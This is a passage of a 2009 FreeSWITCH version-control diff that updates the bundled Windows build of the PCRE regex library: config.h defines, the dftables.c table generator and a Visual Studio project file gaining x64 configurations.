+#ifndef STDC_HEADERS
+#define STDC_HEADERS 1
 #endif
 
-#if (_MSC_VER >= 1400) // VC8+
-#ifndef _CRT_SECURE_NO_DEPRECATE
-#define _CRT_SECURE_NO_DEPRECATE
+/* Define to allow pcregrep to be linked with libbz2, so that it is able to
+   handle .bz2 files. */
+/* #undef SUPPORT_LIBBZ2 */
+
+/* Define to allow pcretest to be linked with libreadline. */
+/* #undef SUPPORT_LIBREADLINE */
+
+/* Define to allow pcregrep to be linked with libz, so that it is able to
+   handle .gz files. */
+/* #undef SUPPORT_LIBZ */
+
+/* Define to enable support for Unicode properties */
+/* #undef SUPPORT_UCP */
+
+/* Define to enable support for the UTF-8 Unicode encoding. This will work
+   even in an EBCDIC environment, but it is incompatible with the EBCDIC
+   macro. That is, PCRE can support *either* EBCDIC code *or* ASCII/UTF-8, but
+   not both at once. */
+/* #undef SUPPORT_UTF8 */
+
+/* Version number of package */
+#ifndef VERSION
+#define VERSION "7.9"
 #endif
-#ifndef _CRT_NONSTDC_NO_DEPRECATE
-#define _CRT_NONSTDC_NO_DEPRECATE
-#endif
-#endif // VC8+
 
-#pragma warning(disable: 4005 4003 4018)
+/* Define to empty if `const' does not conform to ANSI C. */
+/* #undef const */
 
-/* End */
+/* Define to `unsigned int' if <sys/types.h> does not define. */
+/* #undef size_t */

Modified: freeswitch/branches/seven/libs/win32/pcre/dftables.c (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/pcre/dftables.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/pcre/dftables.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2005 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -38,14 +38,19 @@
 */
 
 
-/* This is a freestanding support program to generate a file containing default
-character tables for PCRE. The tables are built according to the default C
+/* This is a freestanding support program to generate a file containing
+character tables for PCRE. The tables are built according to the current
 locale. Now that pcre_maketables is a function visible to the outside world, we
 make use of its code from here in order to be consistent. */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <ctype.h>
 #include <stdio.h>
 #include <string.h>
+#include <locale.h>
 
 #include "pcre_internal.h"
 
@@ -55,38 +60,60 @@
 
 int main(int argc, char **argv)
 {
-int i;
 FILE *f;
-const unsigned char *tables = pcre_maketables();
-const unsigned char *base_of_tables = tables;
+int i = 1;
+const unsigned char *tables;
+const unsigned char *base_of_tables;
 
-if (argc != 2)
+/* By default, the default C locale is used rather than what the building user
+happens to have set. However, if the -L option is given, set the locale from
+the LC_xxx environment variables. */
+
+if (argc > 1 && strcmp(argv[1], "-L") == 0)
   {
+  setlocale(LC_ALL, "");        /* Set from environment variables */
+  i++;
+  }
+
+if (argc < i + 1)
+  {
   fprintf(stderr, "dftables: one filename argument is required\n");
   return 1;
   }
 
-f = fopen(argv[1], "wb");
+tables = pcre_maketables();
+base_of_tables = tables;
+
+f = fopen(argv[i], "wb");
 if (f == NULL)
   {
   fprintf(stderr, "dftables: failed to open %s for writing\n", argv[1]);
   return 1;
   }
 
-/* There are two fprintf() calls here, because gcc in pedantic mode complains
-about the very long string otherwise. */
+/* There are several fprintf() calls here, because gcc in pedantic mode
+complains about the very long string otherwise. */
 
 fprintf(f,
   "/*************************************************\n"
   "*      Perl-Compatible Regular Expressions       *\n"
   "*************************************************/\n\n"
-  "/* This file is automatically written by the dftables auxiliary \n"
-  "program. If you edit it by hand, you might like to edit the Makefile to \n"
-  "prevent its ever being regenerated.\n\n");
+  "/* This file was automatically written by the dftables auxiliary\n"
+  "program. It contains character tables that are used when no external\n"
+  "tables are passed to PCRE by the application that calls it. The tables\n"
+  "are used only for characters whose code values are less than 256.\n\n");
 fprintf(f,
-  "This file contains the default tables for characters with codes less than\n"
-  "128 (ASCII characters). These tables are used when no external tables are\n"
-  "passed to PCRE. */\n\n"
+  "The following #includes are present because without them gcc 4.x may remove\n"
+  "the array definition from the final binary if PCRE is built into a static\n"
+  "library and dead code stripping is activated. This leads to link errors.\n"
+  "Pulling in the header ensures that the array gets flagged as \"someone\n"
+  "outside this compilation unit might reference this\" and so it will always\n"
+  "be supplied to the linker. */\n\n"
+  "#ifdef HAVE_CONFIG_H\n"
+  "#include \"config.h\"\n"
+  "#endif\n\n"
+  "#include \"pcre_internal.h\"\n\n");
+fprintf(f,
   "const unsigned char _pcre_default_tables[] = {\n\n"
   "/* This table is a lower casing table. */\n\n");
 
@@ -162,7 +189,7 @@
   else fprintf(f, "%3d-", i-8);
 if (isprint(i-1)) fprintf(f, " %c ", i-1);
   else fprintf(f, "%3d", i-1);
-fprintf(f, " */\n\n/* End of chartables.c */\n");
+fprintf(f, " */\n\n/* End of pcre_chartables.c */\n");
 
 fclose(f);
 free((void *)base_of_tables);

Modified: freeswitch/branches/seven/libs/win32/pcre/libpcre.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/pcre/libpcre.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/pcre/libpcre.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -52,8 +55,8 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="./"
-				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;PCRE_STATIC"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;PCRE_STATIC;HAVE_CONFIG_H"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -101,6 +104,91 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				Description=""
+				CommandLine=""
+				AdditionalDependencies=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Debug/libpcre.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;PCRE_STATIC;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile="$(OutDir)\libpcre.pch"
+				AssemblerListingLocation=""
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				LinkLibraryDependencies="true"
+				AdditionalDependencies="odbc32.lib odbccp32.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile="$(OutDir)\$(ProjectName).bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -138,8 +226,8 @@
 				Name="VCCLCompilerTool"
 				Optimization="2"
 				InlineFunctionExpansion="1"
-				AdditionalIncludeDirectories="./"
-				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;PCRE_STATIC"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;PCRE_STATIC;HAVE_CONFIG_H"
 				StringPooling="true"
 				RuntimeLibrary="2"
 				EnableFunctionLevelLinking="true"
@@ -186,6 +274,91 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				Description=""
+				CommandLine=""
+				AdditionalDependencies=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Release/libpcre.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;PCRE_STATIC;HAVE_CONFIG_H"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile="$(OutDir)\libpcre.pch"
+				AssemblerListingLocation=""
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				LinkLibraryDependencies="true"
+				AdditionalDependencies="odbc32.lib odbccp32.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile="$(OutDir)\$(ProjectName).bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug DLL|Win32"
 			OutputDirectory="$(SolutionDir)Debug"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -222,8 +395,8 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="./"
-				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;DLL_EXPORT"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;DLL_EXPORT;HAVE_CONFIG_H"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -286,6 +459,106 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug DLL|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				Description=""
+				CommandLine=""
+				AdditionalDependencies=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Debug/libpcre.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;DEBUG;PCRE_DEFINITION;DLL_EXPORT;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile="$(OutDir)\libpcre.pch"
+				AssemblerListingLocation=""
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="odbc32.lib odbccp32.lib"
+				OutputFile="$(OutDir)\$(ProjectName).dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				ModuleDefinitionFile="$(InputDir)..\..\pcre\pcre.def"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(IntDir)\$(ProjectName).pdb"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(IntDir)\$(ProjectName).lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile="$(OutDir)\$(ProjectName).bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release DLL|Win32"
 			OutputDirectory="$(SolutionDir)Release"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -323,8 +596,8 @@
 				Name="VCCLCompilerTool"
 				Optimization="2"
 				InlineFunctionExpansion="1"
-				AdditionalIncludeDirectories="./"
-				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;DLL_EXPORT"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;DLL_EXPORT;HAVE_CONFIG_H"
 				StringPooling="true"
 				RuntimeLibrary="2"
 				EnableFunctionLevelLinking="true"
@@ -384,6 +657,105 @@
 				CommandLine=""
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release DLL|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				Description=""
+				CommandLine=""
+				AdditionalDependencies=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Release/libpcre.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\pcre&quot;"
+				PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;PCRE_DEFINITION;DLL_EXPORT;HAVE_CONFIG_H"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile="$(OutDir)\libpcre.pch"
+				AssemblerListingLocation=""
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="odbc32.lib odbccp32.lib"
+				OutputFile="$(OutDir)\$(ProjectName).dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				ModuleDefinitionFile="$(InputDir)..\..\pcre\pcre.def"
+				ProgramDatabaseFile="$(IntDir)\$(ProjectName).pdb"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(IntDir)\$(ProjectName).lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile="$(OutDir)\$(ProjectName).bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -403,687 +775,79 @@
 			<File
 				RelativePath="..\..\pcre\pcre_config.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_dfa_exec.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_exec.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_fullinfo.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pcre\pcre_get.c"
 				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Debug DLL|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						AdditionalIncludeDirectories=""
-						PreprocessorDefinitions="_WIN32;WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBPCRE_EXPORTS;SUPPORT_UTF8;SUPPORT_UCP;POSIX_MALLOC_THRESHOLD=10;NO_RECURSE;$(NoInherit)"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
